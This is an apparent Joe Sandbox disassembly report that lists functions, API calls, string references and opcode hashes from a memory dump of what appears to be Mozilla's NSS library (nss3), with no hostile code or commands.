Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 8c0967ef75af0c92504f38cf436590f634e66551de2f9bc83f730d5b9c775a08
Instruction ID: 8bf3545f1a8d0e94c4b1b1860dda7cc3409e9507f37d3e6989ce4dcaaeee5a00
Opcode Fuzzy Hash: 8c0967ef75af0c92504f38cf436590f634e66551de2f9bc83f730d5b9c775a08
Instruction Fuzzy Hash: C1A12AB15182009BEB209F24DC55BAB3295EB8130CF244D39F919CBB81E779D855C77B

Function 6C63AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63AF39
PR_Unlock.NSS3(?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63AF69
TlsGetValue.KERNEL32 ref: 6C63B06B
EnterCriticalSection.KERNEL32(?), ref: 6C63B083
PR_Unlock.NSS3(?), ref: 6C63B0A4
TlsGetValue.KERNEL32 ref: 6C63B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C63B0D9
PR_Unlock.NSS3 ref: 6C63B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63B182

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C63B177

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63B1C2

Part of subcall function 6C661560: TlsGetValue.KERNEL32(00000000,?,6C630844,?), ref: 6C66157A
Part of subcall function 6C661560: EnterCriticalSection.KERNEL32(?,?,?,6C630844,?), ref: 6C66158F
Part of subcall function 6C661560: PR_Unlock.NSS3(?,?,?,?,6C630844,?), ref: 6C6615B2

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 286b2c411fc829ae2090344fafd25b54a31f6dcf2631ded8c859996db5b5d49d
Instruction ID: d9d7e2816b8a472d6cab791d4109d229a484824f2b9f84ac99f067cf1b920785
Opcode Fuzzy Hash: 286b2c411fc829ae2090344fafd25b54a31f6dcf2631ded8c859996db5b5d49d
Instruction Fuzzy Hash: D1A1E2B1D00219ABEF019F64DC41BEA77B4EF4A308F105138E809A7752E735E959CBA9

Function 6C632C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?cl,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C62
EnterCriticalSection.KERNEL32(0000001C,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C76
PL_HashTableLookup.NSS3(00000000,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C93

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23), ref: 6C632CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?), ref: 6C632CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?), ref: 6C632D4D
EnterCriticalSection.KERNEL32(?), ref: 6C632D61
PL_HashTableLookup.NSS3(?,?), ref: 6C632D71
PR_Unlock.NSS3(?), ref: 6C632D7E

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Strings

#?cl, xrefs: 6C632C43

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?cl
API String ID: 2446853827-3055577206
Opcode ID: 24477e5e136bed5c1ca0090ca9008d063e362b2d1c3cad0fe258398794f7bed3
Instruction ID: 7dfafecd9bd859d76d7f41048d852a7bfdf703902a1c89d444400daebc47532b
Opcode Fuzzy Hash: 24477e5e136bed5c1ca0090ca9008d063e362b2d1c3cad0fe258398794f7bed3
Instruction Fuzzy Hash: 6451E5B6D00214ABDB01AF24DC458AA77B4BF4A35CB049534ED1C97B12E731E964CBE9

Function 6C6EA4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C6EA4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C6EA4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EA553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C6EA5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EA5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EA60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EA633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EA671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C6EA69A

Strings

%s at line %d of [%.10s], xrefs: 6C6EA62C
database corruption, xrefs: 6C6EA627
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EA61D, 6C6EA68B, 6C6EA6B3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 2de851c8ab378424844bd6abb3d0c7d23404539141e3d2f60f202e3d935e76ee
Instruction ID: 4b1b4223866cf99f9093774f5b27e080a99dacaaf9445ada739789c87687d83d
Opcode Fuzzy Hash: 2de851c8ab378424844bd6abb3d0c7d23404539141e3d2f60f202e3d935e76ee
Instruction Fuzzy Hash: 9951C2B190D300ABCB018F25D994A5A7FF0AF4931CF04886AF8898B652E735D994CB96

Function 6C68AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68ADB1

Part of subcall function 6C66BE30: SECOID_FindOID_Util.NSS3(6C62311B,00000000,?,6C62311B,?), ref: 6C66BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C68ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C68AE08

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68AE25
PL_FreeArenaPool.NSS3 ref: 6C68AE63
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C68AE4D

Part of subcall function 6C594C70: TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
Part of subcall function 6C594C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
Part of subcall function 6C594C70: PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68AE93
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C68AECC
PL_FreeArenaPool.NSS3 ref: 6C68AEDE
PL_FinishArenaPool.NSS3 ref: 6C68AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68AEF5
PL_FinishArenaPool.NSS3 ref: 6C68AF16

Strings

security, xrefs: 6C68ADEE

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: be8170dba8d43dbf0e58d774e5d56007e96e03ef79045fb546a410d93322fab8
Instruction ID: 0aeea707ee003fcb602cd460535fc8c93d6c6a67ab14c195c328ea87519b4476
Opcode Fuzzy Hash: be8170dba8d43dbf0e58d774e5d56007e96e03ef79045fb546a410d93322fab8
Instruction Fuzzy Hash: 584128B1805310A7EB214A249C49BAB33A8AF4231CF140D25EC5496FC2F735DA5AD6FF

Function 6C72AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D9890: TlsGetValue.KERNEL32(?,?,?,6C6D97EB), ref: 6C6D989E

EnterCriticalSection.KERNEL32(?), ref: 6C72AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C72AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C72AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C72AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C72B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C72B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C72B070
PR_JoinThread.NSS3(?), ref: 6C72B07B
free.MOZGLUE(?), ref: 6C72B084
EnterCriticalSection.KERNEL32(?), ref: 6C72B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C72B0C4
PR_JoinThread.NSS3(?), ref: 6C72B0F3
free.MOZGLUE(?), ref: 6C72B0FC
PR_JoinThread.NSS3(?), ref: 6C72B137
free.MOZGLUE(?), ref: 6C72B140

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: e935a7a331ba6f003c9e29f396938402428864907bb616f20faa7e3836a53adb
Instruction ID: 1e29ef02f39773be8311efe36a798034a5f00fc6a08487ad76791632e634b8dd
Opcode Fuzzy Hash: e935a7a331ba6f003c9e29f396938402428864907bb616f20faa7e3836a53adb
Instruction Fuzzy Hash: D991A0B5900601DFCB00DF14C984856BBF1FF4931C72985A9D81A5BB26E732FC45CB85

Function 6C632980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C619E71,?,?,6C62F03D), ref: 6C6329A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C619E71,?), ref: 6C6329B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C619E71,?,?,6C62F03D), ref: 6C6329E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C619E71,?), ref: 6C6329F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C619E71,?), ref: 6C632A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C619E71), ref: 6C632A13

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_Unlock.NSS3(?), ref: 6C632A6A
TlsGetValue.KERNEL32 ref: 6C632A98
EnterCriticalSection.KERNEL32(?), ref: 6C632AAC
PL_HashTableLookup.NSS3(?,?), ref: 6C632ABC
PR_Unlock.NSS3(?), ref: 6C632AC9
TlsGetValue.KERNEL32 ref: 6C632B3D
EnterCriticalSection.KERNEL32(?), ref: 6C632B51
PL_HashTableLookup.NSS3(?,6C619E71), ref: 6C632B61
PR_Unlock.NSS3(?), ref: 6C632B6E

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 5c20b69b90ee81d300a0c51fbdc171fe0611d04fb00080153fba311bdfb34c1a
Instruction ID: 9111393c364779848d7e61ee58e2444753235a83b40b9f2c6ed018c6686d280c
Opcode Fuzzy Hash: 5c20b69b90ee81d300a0c51fbdc171fe0611d04fb00080153fba311bdfb34c1a
Instruction Fuzzy Hash: 5A712776D00214ABDF009F24DC449AA7BB8FF4A35CB15A564EC1C9B712EB31E954CBE8

Function 6C628DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C628E22
EnterCriticalSection.KERNEL32(?), ref: 6C628E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C628E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C628E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C628E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C628EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C628EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C628EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C628F00
free.MOZGLUE(?), ref: 6C628F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C628F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C628F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C628F5B
PR_Unlock.NSS3(?), ref: 6C628F72
PR_Unlock.NSS3(?), ref: 6C628F82

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: d0a9f8ae9a29c75e6e4c57bce58e250d7fe7ea55b0e93fa9e165b0c76a929a7f
Instruction ID: 32f87e4cdaf4a97ad9d5c6f5679b36c275259cd35613e3f5a7f906a4458771f8
Opcode Fuzzy Hash: d0a9f8ae9a29c75e6e4c57bce58e250d7fe7ea55b0e93fa9e165b0c76a929a7f
Instruction Fuzzy Hash: 425149B3D002159FEB109F28CC889AAB7B9FF59358F144529EC489B710E739ED058BD5

Function 6C64CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C64CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C64CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C64CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C64CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C64CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C64CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C64CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C64CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C64CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C64CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C64CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C64CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C64CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C64D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C64D021

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: a5cbe508bd0e504c067b9c4314a97eeec6c4b1bcfc61b93be03a3955a944effb
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 72314571B5291027EF0D585BAD21FDE254A4B6770FF444038F90AE6FC1FA859A2702EE

Function 6C720FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C721000

Part of subcall function 6C6D9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C601A48), ref: 6C6D9BB3
Part of subcall function 6C6D9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C601A48), ref: 6C6D9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C721016

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_Unlock.NSS3(?), ref: 6C721021

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C721046
PR_Unlock.NSS3(?), ref: 6C72106B
PR_Lock.NSS3 ref: 6C721079
PR_Unlock.NSS3 ref: 6C721096
free.MOZGLUE(?), ref: 6C7210A7
free.MOZGLUE(?), ref: 6C7210B4
PR_DestroyCondVar.NSS3(?), ref: 6C7210BF
PR_DestroyCondVar.NSS3(?), ref: 6C7210CA
PR_DestroyCondVar.NSS3(?), ref: 6C7210D5
PR_DestroyCondVar.NSS3(?), ref: 6C7210E0
PR_DestroyLock.NSS3(?), ref: 6C7210EB
free.MOZGLUE(?), ref: 6C721105

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 88e5c7b1bcf7ae9c2ae1ef56e38a597cd0a60263357f277a0a114a9ce8c16039
Instruction ID: 9bfb262ee33cc41082d53919b11f34317bcf9eed00f8b4c3a6df99bbc0df8caf
Opcode Fuzzy Hash: 88e5c7b1bcf7ae9c2ae1ef56e38a597cd0a60263357f277a0a114a9ce8c16039
Instruction Fuzzy Hash: 34316BB5A00511BBDB129F14EE42A45B7B1FF42319B184130E80956FA1EB32FD78DBDA

Function 6C65EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C65EE0B

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65EEE1

